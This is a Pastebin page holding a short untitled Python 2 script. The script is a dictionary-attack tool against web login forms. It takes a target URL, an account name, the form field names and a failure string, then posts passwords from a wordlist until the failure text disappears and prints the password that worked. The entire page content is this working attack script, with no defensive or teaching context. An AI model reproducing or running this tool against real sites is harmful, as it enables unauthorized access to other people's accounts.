Advertisement
Guest User

Untitled

a guest
Mar 24th, 2016
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.11 KB | None | 0 0
  1. import urllib, urllib2
  2.  
  3. url = raw_input('url: ')
  4. user = raw_input('accountname: ')
  5. POST_acc = raw_input('POST var(accountname): ')
  6. POST_pass = raw_input('POST var(password): ')
  7. fail = raw_input('failure message: ')
  8. lst = raw_input('wordlist: ')
  9. lstfile = open(lst,'r')
  10. word_list = lstfile.read()
  11. lstfile.close()
  12. lst_array = word_list.split()
  13. dictionary = {}
  14. d = 0
  15. while (d<len(lst_array)):
  16.     dictionary[d]=lst_array[d]
  17.     d+=1
  18.  
  19. x=0
  20. c = True
  21. while c:
  22.     while (x <= len(dictionary) and c==True):
  23.         post_data = urllib.urlencode([(POST_acc,user),(POST_pass,dictionary[x])])
  24.         req = urllib2.Request(url, post_data)
  25.         req.add_header("Content-type", "application/x-www-form-urlencoded")
  26.         page = urllib2.urlopen(req)
  27.         html = page.read()
  28.         page.close()
  29.         html_array = html.split()
  30.         length = len(html_array) - 1
  31.         y = 0
  32.         while (y <= length and c==True):
  33.             if fail not in html:
  34.                 print 'passwd: '+dictionary[x]
  35.                 c = False
  36.                 break
  37.             y+=1
  38.         x+=1
  39. raw_input('press enter')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement